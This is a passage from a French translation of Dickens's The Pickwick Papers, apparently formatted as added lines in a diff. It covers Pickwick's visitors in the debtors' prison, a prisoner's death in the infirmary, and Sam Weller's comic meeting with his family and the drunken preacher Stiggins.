+assurance qu'il n'oublierait pas sa dette, il donna des poignées de main
+à toute la compagnie, d'une manière fort engageante, et se retira.
+
+«Mes chers amis, dit M. Pickwick en pressant alternativement les mains
+de M. Tupman, de M. Winkle et de M. Snodgrass, qui étaient les trois
+visiteurs en question; je suis enchanté de vous voir.»
+
+Le triumvirat était fort affecté. M. Tupman branla la tête d'un air
+éploré; M. Snodgrass tira son mouchoir, avec une émotion visible; M.
+Winkle se retira à la fenêtre, et renifla tout haut.
+
+«Bonjour gentlemen, dit Sam, qui entrait en ce moment avec les souliers
+et les guêtres. Plus de mérancolie, comme disait l'écolier quand la
+maîtresse de pension mourut. Soyez les bienvenus à la prison, gentlemen.
+
+--Ce fou de Sam, dit M. Pickwick en lui tapant sur la tête, pendant
+qu'il s'agenouillait pour boutonner les guêtres de son maître, ce fou de
+Sam, qui s'est fait arrêter pour rester avec moi!
+
+--Quoi! s'écrièrent les trois amis.
+
+--Oui, gentlemen, dit Sam, je suis.... Tenez-vous tranquille, monsieur,
+s'il vous plaît.... Je suis prisonnier, gentlemen. Me voilà confiné[18],
+comme disait la petite dame.
+
+[Footnote 18: Jeu de mots: _to be confined_ signifie être en couches et
+être prisonnier.]
+
+--Prisonnier, s'écria M. Winkle avec une véhémence inconcevable.
+
+--Ohé, monsieur? reprit Sam, en levant la tête; qu'est-ce qu'il y a,
+monsieur?
+
+--J'avais espéré Sam, que.... C'est-à-dire.... Rien, rien,» répondit M.
+Winkle précipitamment.
+
+Il y avait quelque chose de si brusque et de si égaré dans les manières
+de M. Winkle, que M. Pickwick regarda involontairement ses deux amis,
+comme pour leur demander une explication.
+
+«Nous n'en savons rien, dit M. Tupman, en réponse à ce muet appel. Il a
+été fort agité ces deux jours-ci, et tout à fait différent de ce qu'il
+est ordinairement. Nous craignions qu'il n'eût quelque chose, mais il le
+nie résolument.
+
+--Non, non, dit M. Winkle en rougissant sous le regard de M. Pickwick,
+je n'ai vraiment rien, je vous assure que je n'ai rien, mon cher
+monsieur; seulement je serai obligé de quitter la ville, pendant quelque
+temps, pour une affaire privée, et j'avais espéré que vous me
+permettriez d'emmener Sam.»
+
+La physionomie de M. Pickwick exprima encore plus d'étonnement.
+
+«Je pense, balbutia M. Winkle, que Sam ne s'y serait pas refusé; mais
+évidemment cela devient impossible, puisqu'il est prisonnier ici. Je
+serai donc obligé d'aller tout seul.»
+
+Pendant que M. Winkle disait ceci, M. Pickwick sentit, avec quelque
+étonnement, que les doigts de Sam tremblaient en attachant ses guêtres,
+comme s'il avait été surpris ou ému. Quand M. Winkle eut cessé de
+parler, Sam leva la tête pour le regarder, et quoique le coup d'oeil
+qu'ils échangèrent ne dura qu'un instant, ils eurent l'air de
+s'entendre.
+
+«Sam, dit vivement M. Pickwick, savez-vous quelque chose de ceci?
+
+--Non monsieur, répliqua Sam, en recommençant à boutonner avec une
+assiduité extraordinaire.
+
+--En êtes-vous sûr, Sam?
+
+--Eh! mais, monsieur, je suis bien sûr que je n'ai jamais rien entendu
+sur ce sujet, jusqu'à présent. Si je fais quelques conjectures
+là-dessus, ajouta Sam, en regardant M. Winkle, je n'ai pas le droit de
+dire ce que c'est, de peur de me tromper.
+
+--Et moi je n'ai pas le droit de m'ingérer davantage dans les affaires
+d'un ami, quelque intime qu'il soit, reprit M. Pickwick, après un court
+silence. À présent je dirai seulement que je n'y comprends rien du tout.
+Mais en voilà assez là-dessus.»
+
+M. Pickwick s'étant ainsi exprimé, amena la conversation sur un autre
+sujet, et M. Winkle parut graduellement plus à son aise, quoiqu'il fût
+encore loin de l'être tout à fait. Cependant nos amis avaient tant de
+choses à se dire, que la matinée s'écoula rapidement. Vers trois heures,
+Sam posa sur une petite table un gigot de mouton et un énorme pâté, sans
+parler de plusieurs plats de légumes et de force pots de _porter_, qui
+se promenaient sur les chaises et sur les canapés. Quoique ce repas eût
+été acheté et dressé dans une cuisine voisine de la prison, chacun se
+montra disposé à y faire honneur.
+
+Au _porter_ succédèrent une bouteille ou deux d'excellent vin, pour
+lequel M. Pickwick avait dépêché un exprès au café de la _Corne_, dans
+_Doctors' Common_. Pour dire la vérité, _la bouteille ou deux_
+pourraient être plus convenablement énoncées comme une bouteille ou
+_six_, car avant qu'elles fussent bues et le thé achevé, la cloche
+commença à sonner pour le départ des étrangers.
+
+Si la conduite de M. Winkle avait été inexplicable dans la matinée, elle
+devint tout à fait surnaturelle, lorsqu'il se prépara à prendre congé de
+son ami, sous l'influence des bouteilles vidées. Il resta en arrière
+jusqu'à ce que MM. Tupman et Snodgrass eussent disparu, et alors,
+saisissant la main de M. Pickwick, avec une physionomie où le calme
+d'une résolution désespérée se mêlait effroyablement avec la
+quintessence de la tristesse:
+
+«Bonsoir, mon cher monsieur, lui dit-il entre ses dents jointes.
+
+--Dieu vous bénisse, mon cher garçon! répliqua M. Pickwick, en serrant
+avec chaleur la main de son jeune ami.
+
+--Allons donc! cria M. Tupman de la galerie.
+
+--Oui, oui, sur-le-champ, répondit M. Winkle. Bonsoir!
+
+--Bonsoir,» dit M. Pickwick.
+
+Un autre bonsoir fut échangé, puis un autre, puis une demi-douzaine
+d'autres, et cependant M. Winkle tenait encore solidement la main du
+philosophe, et considérait son visage avec la même expression
+extraordinaire.
+
+«Vous serait-il arrivé quelque chose? lui demanda à la fin M. Pickwick,
+lorsqu'il eut le bras fatigué de secousses.
+
+--Non, non.
+
+--Eh bien! alors, bonsoir, reprit-il en essayant de dégager sa main.
+
+--Mon ami, mon bienfaiteur, mon respectable mentor, murmura M. Winkle en
+le saisissant par le poignet; ne me jugez pas sévèrement, et lorsque
+vous apprendrez à quelles extrémités des obstacles insurmontables....
+
+--Allons donc! dit M. Tupman, en reparaissant à la porte. Si vous ne
+venez pas, nous allons être enfermés ici!
+
+--Oui, oui; je suis prêt,» répliqua M. Winkle, et par un violent
+effort il s'arracha de la chambre de M. Pickwick.
+
+Notre philosophe le suivait des yeux le long du corridor, dans un muet
+étonnement, lorsque Sam parut au haut de l'escalier, et chuchota un
+instant à l'oreille de M. Winkle.
+
+«Oh! certainement, comptez sur moi, répondit tout haut celui-ci.
+
+--Merci, monsieur. Vous ne l'oublierez pas, monsieur?
+
+--Non, assurément.
+
+--Bonne chance, monsieur, dit Sam, en touchant son chapeau. J'aurais
+beaucoup aimé aller avec vous, monsieur; mais naturellement le
+gouverneur avant tout.
+
+--Vous avez raison, cela vous fait honneur, dit M. Winkle;» et en
+parlant ainsi, les interlocuteurs descendaient l'escalier et
+disparaissaient.
+
+«C'est très-extraordinaire! pensa M. Pickwick, en rentrant dans sa
+chambre et en s'asseyant près de sa table dans une attitude réfléchie.
+Qu'est-ce que ce jeune homme peut aller faire?»
+
+Il y avait quelque temps qu'il ruminait sur cette idée, lorsque la voix
+de Roker, le guichetier, demanda s'il pouvait entrer.
+
+«Certainement, dit M. Pickwick.
+
+--Je vous ai apporté un traversin plus doux, monsieur, en place du
+provisoire que vous aviez la nuit dernière.
+
+--Je vous remercie. Voulez-vous prendre un verre de vin?
+
+--Vous êtes bien bon, monsieur, répliqua M. Roker en acceptant le verre.
+À la vôtre, monsieur.
+
+--Bien obligé.
+
+--Je suis fâché de vous apprendre que votre propriétaire n'est pas
+très-bien portant ce soir, monsieur, dit le guichetier, en inspectant
+la bordure de son chapeau, avant de le remettre sur sa tête.
+
+--Quoi! le prisonnier de la chancellerie? s'écria M. Pickwick.
+
+--Il ne sera pas longtemps prisonnier de la chancellerie, monsieur,
+répliqua Roker, en tournant son chapeau, de manière à pouvoir lire le
+nom du chapelier.
+
+--Vous me faites frissonner, reprit M. Pickwick. Qu'est-ce que vous
+voulez dire!
+
+--Il y a longtemps qu'il est poitrinaire, et il avait bien de la peine à
+respirer cette nuit. Depuis plus de six mois, le docteur nous dit que le
+changement d'air pourrait seul le sauver.
+
+--Grand Dieu! s'écria M. Pickwick, cet homme a-t-il été lentement
+assassiné par la loi, durant six mois?
+
+--Je ne sais pas ça, monsieur, repartit Roker, en pesant son chapeau par
+les bords dans ses deux mains; je suppose qu'il serait mort de même
+partout ailleurs. Il est allé à l'infirmerie ce matin. Le docteur dit
+qu'il faut soutenir ses forces autant que possible, et le gouverneur lui
+envoie du vin et du bouillon de sa maison. Ce n'est pas la faute du
+gouverneur, monsieur.
+
+--Non, sans doute, répliqua promptement M. Pickwick.
+
+--Malgré cela, reprit Roker en hochant la tête, j'ai peur que tout ne
+soit fini pour lui. J'ai offert à Neddy, tout à l'heure, de lui parier
+une pièce de vingt sous contre une de dix, qu'il n'en reviendrait pas,
+mais il n'a pas voulu tenir le pari, et il a bien fait. Je vous
+remercie, monsieur. Bonne nuit, monsieur.
+
+--Attendez, dit M. Pickwick avec chaleur, où est l'infirmerie?
+
+--Juste au-dessous de votre chambre, monsieur, je vais vous la montrer
+si vous voulez.»
+
+M. Pickwick saisit son chapeau sans parler et suivit immédiatement le
+guichetier.
+
+Celui-ci le conduisit en silence, et levant doucement le loquet de la
+porte de l'infirmerie, lui fit signe d'entrer. C'était une grande
+chambre nue, désolée, où il y avait plusieurs lits de fer; l'un d'eux
+contenait l'ombre d'un homme maigre, pâle, cadavéreux. Sa respiration
+était courte et oppressée: à chaque minute il gémissait péniblement. Au
+chevet du lit était assis un petit vieux, portant un tablier de
+savetier, et qui, à l'aide d'une paire de lunettes à monture de corne,
+lisait tout haut un passage de la bible. C'était l'heureux légataire.
+
+Le malade posa sa main sur le bras du vieillard et lui fit signe de
+s'arrêter. Celui-ci ferma le livre et le plaça sur le lit.
+
+«Ouvrez la fenêtre,» dit le malade.
+
+Elle fut ouverte, et le roulement des charrettes et des carrosses, les
+cris des hommes et des enfants, tous les bruits affairés d'une puissante
+multitude, pleine de vie et d'occupations, pénétrèrent aussitôt dans la
+chambre, confondus en un profond murmure. Par-dessus, s'élevaient de
+temps en temps quelques éclats de rire joyeux ou quelques lambeaux de
+chansons comiques, qui se perdaient ensuite parmi le tumulte des voix et
+des pas, sourds mugissements des flots agités de la vie, qui roulaient
+pesamment au dehors.
+
+Dans toutes les situations, ces sons confus et lointains paraissent
+mélancoliques à celui qui les écoute de sang-froid, mais combien plus à
+celui qui veille auprès d'un lit de mort!
+
+«Il n'y a pas d'air ici, dit le malade d'une voix faible. Ces murs le
+corrompent. Il était frais à l'entour quand je m'y promenais, il y a
+bien des années, mais en entrant dans la prison il devient chaud et
+brûlant.... Je ne puis plus le respirer.
+
+--Nous l'avons respiré ensemble pendant longtemps, dit le savetier.
+Allons, allons, patience!»
+
+Il se fit un court silence pendant lequel les deux spectateurs
+s'approchèrent du lit. Le malade attira sur son lit la main de son vieux
+camarade de prison et la retint serrée avec affection, dans les siennes.
+
+«J'espère, bégaya-t-il ensuite d'une voix entrecoupée et si faible que
+ses auditeurs se penchèrent sur son lit pour recueillir les sons à demi
+formés qui s'échappaient de ses lèvres livides; j'espère que mon juge
+plein de clémence n'oubliera pas la punition que j'ai soufferte sur
+terre. Vingt années, mon ami, vingt années dans cette hideuse tombe! Mon
+coeur s'est brisé, quand mon enfant est morte, et je n'ai pas même pu
+l'embrasser dans sa petite bière! Depuis lors, au milieu de tous ces
+bruits et de ces débauches, ma solitude a été terrible. Que Dieu me
+pardonne! il a vu mon agonie solitaire et prolongée!»
+
+Après ces mots, le vieillard joignit les mains et murmura encore quelque
+chose, mais si bas qu'on ne pouvait l'entendre, puis il s'endormit. Il
+ne fit que s'endormir d'abord, car les assistants le virent sourire.
+
+Pendant quelques minutes ils parlèrent entre eux, à voix basse, mais le
+guichetier s'étant courbé sur le traversin se releva précipitamment.
+«Ma foi! dit-il, le voilà libéré à la fin.»
+
+Cela était vrai. Mais durant sa vie il était devenu si semblable à un
+mort, qu'on ne sut point dans quel instant il avait expiré.
+
+
+
+
+CHAPITRE XVI.
+
+Où l'on décrit une entrevue touchante entre M. Samuel Weller et sa
+famille. M. Pickwick fait le tour du petit monde qu'il habite, et prend
+la résolution de ne s'y mêler, à l'avenir, que le moins possible.
+
+
+Quelques matinées après son incarcération, Sam ayant arrangé la chambre
+de son maître avec tout le soin possible, et ayant laissé le philosophe
+confortablement assis près de ses livres et de ses papiers, se retira
+pour employer une heure ou deux le mieux qu'il pourrait. Comme la
+journée était belle, il pensa qu'une pinte de _porter_, en plein air,
+pourrait embellir son existence, aussi bien qu'aucun autre petit
+amusement dont il lui serait possible de se régaler.
+
+Étant arrivé à cette conclusion, il se dirigea vers la buvette, acheta
+sa bière, obtint en outre un journal de l'avant-veille, se rendit à la
+cour du jeu de quilles, et, s'asseyant sur un banc, commença à s'amuser
+d'une manière très-méthodique.
+
+D'abord il but un bon coup de bière, et levant les yeux vers une
+croisée, lança un coup d'oeil platonique à une jeune lady qui y était
+occupée à peler des pommes de terre; ensuite il ouvrit le journal et le
+plia de manière à mettre au-dessus le compte rendu des tribunaux; mais
+comme ceci est une oeuvre difficile, surtout quand il fait du vent, il
+prit un autre coup de bière aussitôt qu'il en fut venu à bout. Alors il
+lut deux lignes du journal, et s'arrêta pour contempler deux individus
+qui finissaient une partie de paume. Lorsqu'elle fut terminée, il leur
+cria: _Très-bien_, d'une manière encourageante, puis regarda tout autour
+de lui pour savoir si le sentiment des spectateurs coincidait avec le
+sien. Ceci entraînait la nécessité de regarder aussi aux fenêtres; et
+comme la jeune lady était encore à la sienne, ce n'était qu'un acte de
+pure politesse de cligner de l'oeil de nouveau et de boire à sa santé,
+en pantomime, un autre coup de bière. Sam n'y manqua pas; puis ayant
+hideusement froncé ses sourcils à un petit garçon qui l'avait regardé
+faire avec des yeux tout grands ouverts, il se croisa les jambes, et,
+tenant le journal à deux mains, commença à lire sérieusement.
+
+À peine s'était-il recueilli dans l'état d'abstraction nécessaire, quand
+il crut entendre qu'on l'appelait dans le lointain. Il ne s'était pas
+trompé, car son nom passait rapidement de bouche en bouche, et peu de
+secondes après l'air retentissait des cris de: _Weller! Weller!_
+
+«Ici, beugla Sam, d'une voix de Stentor. Qu'est-ce qu'il y a? Qu'est-ce
+qu'a besoin de lui? Est-ce qu'il est venu un exprès pour lui dire que sa
+maison de campagne est brûlée?
+
+--On vous demande au parloir, dit un homme en s'approchant.
+
+--Merci, mon vieux, répondit Sam. Faites un brin attention à mon journal
+et à mon pot ici, s'il vous plaît. Je reviens tout de suite. Dieu me
+pardonne! si on m'appelait à la barre du tribunal, on ne pourrait pas
+faire plus de bruit que cela.»
+
+Sam accompagna ces mots d'une légère tape sur la tête du jeune gentleman
+ci-devant cité, lequel, ne croyant pas être si près de la personne
+demandée, criait _Weller!_ de tous ses poumons; puis il traversa la
+cour, et, montant les marches quatre à quatre, se dirigea vers le
+parloir. Comme il y arrivait, la première personne qui frappa ses
+regards fut son cher père, assis au bout de l'escalier, tenant son
+chapeau dans sa main et vociférant _Weller!_ de toutes ses forces, de
+demi-minute en demi-minute.
+
+«Qu'est-ce que vous avez à rugir? demanda Sam impétueusement, quand le
+vieux gentleman se fut déchargé d'un autre cri. Vous voilà d'un si beau
+rouge que vous avez l'air d'un souffleur de bouteilles en colère;
+qu'est-ce qu'il y a?
+
+--Ah! répliqua M. Weller. Je commençais à craindre que tu n'aies été
+faire un tour au parc, Sammy.
+
+--Allons! reprit Sam, n'insultez pas comme cela la victime de votre
+avarice. Otez-vous de cette marche. Pourquoi êtes-vous assis là? Ce
+n'est pas mon appartement.
+
+--Tu vas voir une fameuse farce, Sammy, dit M. Weller en se levant.
+
+--Attendez une minute, dit Sam. Vous êtes tout blanc par derrière.
+
+--Tu as raison, Sammy: ôte cela, répliqua M. Weller pendant que son fils
+l'époussetait. Ça pourrait passer pour une personnalité de se montrer
+ici avec un habit blanchi à la chaux[19].»
+
+[Footnote 19: En argot, _être blanchi à la chaux_, veut dire avoir
+obtenu un certificat d'insolvabilité.]
+
+Comme M. Weller montrait, en parlant ainsi, des symptômes non équivoques
+d'un prochain accès de rire, Sam se hâta de l'arrêter.
+
+«Tenez-vous tranquille, lui dit-il. Je n'ai jamais vu un grimacier comme
+ça. Qu'est-ce que vous avez à vous crever maintenant?
+
+--Sammy, dit M. Weller en essuyant son front, j'ai peur qu'un de ces
+jours, à force de rire, je ne gagne une attaque d'apoplexie, mon garçon.
+
+--Eh bien! alors, pourquoi riez-vous, demanda Sam. Voyons, qu'est-ce que
+vous avez à me dire maintenant?
+
+--Devine qui est venu ici avec moi, Samivel? dit M. Weller en se
+reculant d'un pas ou deux, en pinçant ses lèvres et en relevant ses
+sourcils.
+
+--M. Pell?»
+
+M. Weller secoua la tête, et ses joues roses se gonflèrent de tous les
+rires qu'il s'efforçait de comprimer.
+
+«L'homme au teint marbré peut-être?
+
+M. Weller secoua la tête de nouveau.
+
+«Et qui donc, alors?
+
+--Ta belle-mère, Sammy, s'écria le gros cocher, fort heureusement pour
+lui, car autrement ses joues auraient nécessairement crevé, tant elles
+étaient distendues. Ta belle-mère, Sammy, et l'homme au nez rouge, mon
+garçon; et l'homme au nez rouge. Ho! ho! ho!»
+
+En disant cela, M. Weller se laissa aller à de joyeuses convulsions,
+tandis que Sam le regardait avec un plaisant sourire, qui se répandait
+graduellement sur toute sa physionomie.
+
+«Ils sont venus pour avoir une petite conversation sérieuse avec toi,
+Samivel, reprit M. Weller en essuyant ses yeux. Ne leur laisse rien
+suspecter sur ce créancier dénaturé.
+
+--Comment, ils ne savent pas qui c'est?
+
+--Pas un brin.
+
+--Où sont-ils? reprit Sam, dont le visage répétait toutes les grimaces
+du vieux gentleman.
+
+--Dans le divan, près du café. Attrape l'homme au nez rouge où ce qu'il
+n'y a pas de liqueurs, et tu seras malin, Samivel. Nous avons eu une
+agréable promenade en voiture ce matin pour venir du marché ici,
+poursuivit M. Weller quand il se sentit capable de parler d'une manière
+plus distincte. Je conduisais la vieille pie dans le petit char à bancs
+qu'a appartenu au premier essai de ta belle-mère. On y avait mis un
+fauteuil pour le berger, et je veux être pendu, Samivel, continua M.
+Weller avec un air de profond mépris, si on n'a pas apporté sur la
+route, devant not' porte un marchepied pour le faire monter!
+
+--Bah!... C'est pas possible?
+
+--C'est la vérité, Sammy; et je voudrais que tu l'aies vu se tenir aux
+côtés en montant, comme s'il avait eu peur de tomber de six pieds de
+haut et d'être broyé en un million de morceaux. Malgré ça, il est monté
+à la fin, et nous voilà partis; mais j'ai peur.... j'ai bien peur, Sam,
+qu'il a été un peu cahoté quand nous tournions les coins.
+
+--Ah! je suppose que vous aurez accroché une borne ou deux?
+
+--Je le crains, Sammy; je crains d'en avoir accroché quelques-unes,
+repartit M. Weller en multipliant les clins d'oeil. J'en ai peur, Sammy.
+Il s'envolait hors du fauteuil tout le long de la route.»
+
+Ici M. Weller roula sa tête d'une épaule à l'autre en faisant entendre
+une sorte de râlement enroué, accompagné d'un gonflement soudain de tous
+ses traits, symptômes qui n'alarmèrent pas légèrement son fils.
+
+«Ne t'effraye pas, Sammy; ne t'effraye pas, dit-il quand, à force de se
+tortiller et de frapper du pied, il eut recouvré la voix. C'est
+seulement une espèce de rire tranquille que j'essaye.
+
+--Eh bien! si ce n'est que ça, vous ferez bien de ne pas essayer trop
+souvent; vous trouveriez que c'est une invention un peu dangereuse.
+
+--Tu ne l'admires pas, Sammy?
+
+--Pas du tout.
+
+--Ah! dit M. Weller avec des larmes qui coulaient encore le long de ses
+joues, ç'aurait été un bien grand avantage pour moi, si j'avais pu m'y
+habituer; ça m'aurait sauvé bien des mauvaises paroles avec ta
+belle-mère. Mais tu as raison: c'est trop dans le genre de l'apoplexie,
+beaucoup trop, Samivel.»
+
+Cette conversation amena nos deux personnages à la porte du divan. Sam
+s'y arrêta un instant, jeta par-dessus son épaule un coup d'oeil malin à
+son respectable auteur, qui ricanait derrière lui, puis il tourna le
+bouton et entra.
+
+«Belle-mère, dit-il en embrassant poliment la dame, je vous suis
+très-obligé pour cette visite ici. Berger, comment ça vous va-t-il?
+
+--Ah! Samuel, dit Mme Weller, ceci est épouvantable.
+
+--Pas du tout, madame. N'est-ce pas, Berger?» répondit Sam.
+
+M. Stiggins leva ses mains et tourna les yeux vers le ciel, de manière à
+n'en plus laisser voir que le blanc, ou plutôt que le jaune; mais il ne
+fit point de réponse vocale.
+
+«Est-ce que ce gentilhomme se trouve mal? demanda Sam à sa belle-mère.
+
+--L'excellent homme est peiné de vous voir ici, répliqua Mme Weller.
+
+--Oh! c'est-il tout? En le voyant j'avais peur qu'il n'eût oublié de
+prendre du poivre avec les dernières concombres qu'il a mangées.
+Asseyez-vous, monsieur, les chaises ne se payent point, comme le roi
+remarqua à ses ministres, le jour où il voulait leur flanquer une
+semonce.
+
+--Jeune homme, dit M. Stiggins avec ostentation, j'ai peur que vous ne
+soyez pas amendé par l'emprisonnement.
+
+--Pardon, monsieur, qu'est-ce que vous aviez la bonté d'observer?
+
+--Je crains, jeune homme, que ce châtiment ne vous ait pas adouci,
+répéta M. Stiggins d'une voix sonore.
+
+--Ah! monsieur, vous êtes bien bon; j'espère bien que je ne suis pas
+trop doux[20]; je vous suis bien obligé, monsieur pour vot' bonne
+opinion.»
+
+[Footnote 20: _Soft_, veut dire _doux_ ou _sot_.]
+
+À cet endroit de la conversation, un son, qui approchait indécemment
+d'un éclat de rire, se fit entendre du côté où était assis M. Weller, et
+sa moitié, ayant rapidement considéré le cas, crut devoir se payer
+graduellement une attaque de nerfs.
+
+«Weller, s'écria-t-elle, venez ici! (Le vieux gentleman était assis dans
+un coin.)
+
+--Bien obligé, ma chère; je suis tout à fait bien où je suis.»
+
+À cette réponse Mme Weller fondit en larmes.
+
+«Qu'est-ce qu'il y a, maman? lui demanda Sam.
+
+--Oh! Samuel, répliqua-t-elle, votre père me rend bien malheureuse! il
+n'est donc sensible à rien?
+
+--Entendez-vous cela? dit Sam. Madame demande si vous n'êtes sensible à
+rien.
+
+--Bien obligé de sa politesse, Sammy. Je pense que je serais
+très-sensible au don d'une pipe de sa part. Puis-je en avoir une, mon
+garçon?»
+
+En entendant ces mots, Mme Weller redoubla ses pleurs, et M. Stiggins
+poussa un gémissement.
+
+«Ohé! voilà l'infortuné gentleman qui est retombé, dit Sam en se
+retournant. Où ça vous fait-il mal, monsieur?
+
+--Au même endroit, jeune homme, au même endroit.
+
+--Où cela peut-il être, monsieur? demanda Sam, avec une grande
+simplicité extérieure.
+
+«Dans mon sein, jeune homme,» répondit M. Stiggins, en appuyant son
+parapluie sur son gilet.
+
+À cette réponse touchante, Mme Weller incapable de contenir son émotion,
+sanglota encore plus bruyamment, en affirmant que l'homme au nez rouge
+était un saint.
+
+«Maman, dit Sam, j'ai peur que ce gentleman, avec le tic dans sa
+physolomie, ne soit un peu altéré par le mélancolique spectacle qu'il a
+sous les yeux. C'est-il le cas, maman?»
+
+La digne lady regarda M. Stiggins pour avoir une réponse, et celui-ci,
+avec de nombreux roulements d'yeux, serra son gosier de sa main droite,
+et imita l'acte d'avaler, pour exprimer qu'il avait soif.
+
+«Samuel, dit Mme Weller d'une voix dolente, je crains en vérité que ces
+émotions ne l'aient altéré.
+
+--Qu'est-ce que vous buvez ordinairement, monsieur? demanda Sam.
+
+--Oh! mon cher jeune ami, toutes les boissons ne sont que vanités!
+
+--Ce n'est que trop vrai, ce n'est que trop vrai! murmura Mme Weller,
+avec un gémissement et un signe de tête approbatif.
+
+--Eh bien! je le crois, dit Sam; mais quelle est votre vanité
+particulière, monsieur? Quelle vanité aimez-vous le mieux?
+
+--Oh, mon cher jeune ami, je les méprise toutes. Pourtant, s'il en est
+une moins odieuse que les autres, c'est la liqueur que l'on appelle
+rhum; chaude, mon cher jeune ami avec trois morceaux de sucre par verre.
+
+--J'en suis très-fâché, monsieur; mais on ne permet pas de vendre cette
+vanité-là dans l'établissement.
+
+--Oh! les coeurs endurcis, les coeurs endurcis! s'écria M. Stiggins. Oh!
+la cruauté maudite de ces persécuteurs inhumains!»
+
+Ayant dit ces mots, l'homme de Dieu recommença à tourner ses yeux, en
+frappant sa poitrine de son parapluie; et pour lui rendre justice, nous
+devons dire que son indignation ne paraissait ni feinte, ni légère.
+
+Lorsque Mme Weller et le révérend gentleman eurent vigoureusement
+déblatéré contre cette règle barbare, et lancé contre ses auteurs un
+grand nombre de pieuses exécrations, M. Stiggins recommanda une
+bouteille de vin de Porto, mêlée avec un peu d'eau chaude, d'épices et
+de sucre, comme étant un mélange agréable à l'estomac et moins rempli de
+vanité que beaucoup d'autres compositions.
+
+Pendant qu'on préparait cette célèbre mixture, l'homme au nez rouge et
+Mme Weller s'occupaient à contempler M. Weller, tout en poussant des
+gémissements.
+
+«Eh bien! Sammy, dit celui-ci; j'espère que tu te trouveras ragaillardi
+par cette aimable visite? Une conversation très-gaie et
+très-instructive, n'est-ce pas?
+
+--Vous êtes un réprouvé, dit Sam; et je vous prie de ne plus m'adresser
+vos observations impies.»
+
+Bien loin d'être édifié par cette réplique, pleine de convenance, M.
+Weller retomba sur nouveaux frais dans ses ricanements, et cette
+conduite impénitente ayant induit la vertueuse dame et M. Stiggins à
+fermer les yeux et à se balancer sur leur chaise comme s'ils avaient eu
+la colique, le jovial cocher se permit, en outre, divers actes de
+pantomime, indiquant le désir de ramollir la tête et de tirer le nez du
+révérend personnage. Mais il s'en fallut de peu qu'il ne fût découvert,
+car M. Stiggins ayant tressailli à l'arrivée du vin chaud, amena sa tête
+en violent contact avec le poing fermé de M. Weller, qui depuis quelques
+minutes décrivait autour des oreilles de révérend homme un feu
+d'artifice imaginaire.
+
+«Vous aviez bien besoin d'avancer la main, comme un sauvage pour prendre
+le verre? s'écria Sam, avec une grande présence d'esprit. Ne voyez-vous
+pas que vous avez attrapé le gentleman?
+
+--Je ne l'ai pas fait exprès, Sammy, répondit M. Weller, un peu démonté
+par cet incident inattendu.
+
+--Monsieur, dit Sam au révérend Stiggins, qui frottait sa tête d'un air
+dolent, essayez une application intérieure. Comment trouvez-vous cela
+pour une vanité, monsieur?»
+
+M. Stiggins ne fit pas de réponse verbale, mais ses manières étaient
+expressives: il goûta le contenu du verre que Sam avait placé devant
+lui, posa son parapluie par terre, sirota de nouveau un peu de liqueur,
+en passant doucement la main sur son estomac; puis enfin, avala tout le
+reste, d'un seul trait, et faisant claquer ses lèvres, tendit son verre
+pour en avoir une nouvelle dose.
+
+Mme Weller se tarda pas non plus à rendre justice au vin chaud. La bonne
+dame avait commencé par protester qu'elle ne pouvait pas en prendre une
+goutte; ensuite elle avait accepté une petite goutte; puis une grosse
+goutte; puis un grand nombre de gouttes; et comme sa sensibilité était,
+apparemment, de la nature de ces substances qui se dissolvent dans
+l'esprit de vin, à chaque goutte de liqueur elle versait une larme; si
+bien qu'à la fin elle arriva à un degré de misère tout à fait
+pathétique.
+
+M. Weller manifestait un profond dégoût, en observant ces symptômes, et
+quand, après un second bol, M. Stiggins commença à soupirer d'une
+terrible manière, l'illustre cocher ne put s'empêcher d'exprimer sa
+désapprobation, en murmurant des phrases incohérentes, parmi lesquelles
+une colérique répétition du mot _blague_ était seule perceptible à
+l'oreille.
+
+«Samivel, mon garçon, chuchota-t-il enfin à son fils, après une longue
+contemplation de sa femme, et de l'homme au nez rouge, je vas te dire ce
+qui en est: faut qu'il y ait quelque chose de décroché dans l'intérieur
+de ta belle-mère et dans celui de M. Stiggins.
+
+--Qu'est-ce que vous voulez dire?
+
+--Je veux dire que tout ce qu'ils boivent, n'a pas l'air de les nourrir.
+Ça se change en eau chaude tout de suite, et ça vient couler par les
+yeux. Crois-moi, Sammy, c'est une infirmité constitutionnaire.»
+
+M. Weller confirma cette opinion scientifique par un grand nombre de
+clins d'oeil, et de signes de tête qui furent malheureusement remarqués
+par Mme Weller. Cette aimable dame, concluant qu'ils devaient renfermer
+quelque signification outrageante, soit pour M. Stiggins, soit pour
+elle-même, soit pour tous les deux, allait se trouver infiniment plus
+mal, lorsque le révérend, se mettant sur ses pieds aussi bien qu'il put,
+commença à débiter un touchant discours pour le bénéfice de la
+compagnie, et principalement de Samuel Weller. Il l'adjura, en termes
+édifiants, de se tenir sur ses gardes, dans ce puits d'iniquités où il
+était tombé. Il le conjura de s'abstenir de toute hypocrisie et de tout
+orgueil, et, pour cela, de prendre exactement modèle sur lui-même (M.
+Stiggins). Bientôt alors, il arriverait à l'agréable conclusion qu'il
+serait, comme lui, essentiellement estimable et vertueux, tandis que
+toutes ses connaissances et amis ne seraient que de misérables débauchés
+abandonnés de Dieu, et sans nulle espérance de salut; ce qui, ajouta M.
+Stiggins, est une grande consolation.
+
+Il le supplia en outre d'éviter par-dessus toutes choses le vice
+d'ivrognerie, qu'il comparait aux dégoûtantes habitudes des pourceaux,
+ou bien à ces drogues malfaisantes qui détruisent la mémoire de celui
+qui les mâche. Malheureusement, à cet endroit de son discours, le
+révérend gentleman devint singulièrement incohérent; et comme il était
+près de perdre l'équilibre à cause des grands mouvements de son
+éloquence, il fut obligé de se rattraper au dos d'une chaise, afin de
+maintenir sa perpendiculaire.
+
+M. Stiggins n'engagea pas ses auditeurs à se défier de ces faux
+prophètes, de ces hypocrites marchands de religion, qui n'ayant pas le
+sens nécessaire pour en exposer les plus simples doctrines, ni le coeur
+assez bien fait pour en sentir les premiers principes, sont, pour la
+société, bien plus dangereux que les criminels ordinaires: car ils
+entraînent dans l'erreur ses membres les plus ignorants et les plus
+faibles, appellent le mépris surtout ce qui devrait être le plus sacré,
+et font rejaillir, jusqu'à un certain point, la défiance et le dédain
+sur plus d'une secte vertueuse et honorable. Cependant comme M. Stiggins
+resta pendant fort longtemps appuyé sur le dos de sa chaise, tenant un
+de ses yeux fermé et clignant perpétuellement de l'autre, il est
+présumable qu'il pensa tout cela, mais qu'il le garda pour lui.
+
+Mme Weller pleurait à chaudes larmes, pendant le débit de cette oraison,
+et sanglotait à la fin de chaque paragraphe. Sam s'étant mis à cheval
+sur une chaise, les bras appuyés sur le dossier, regardait le
+prédicateur avec une physionomie pleine de douceur et de componction, se
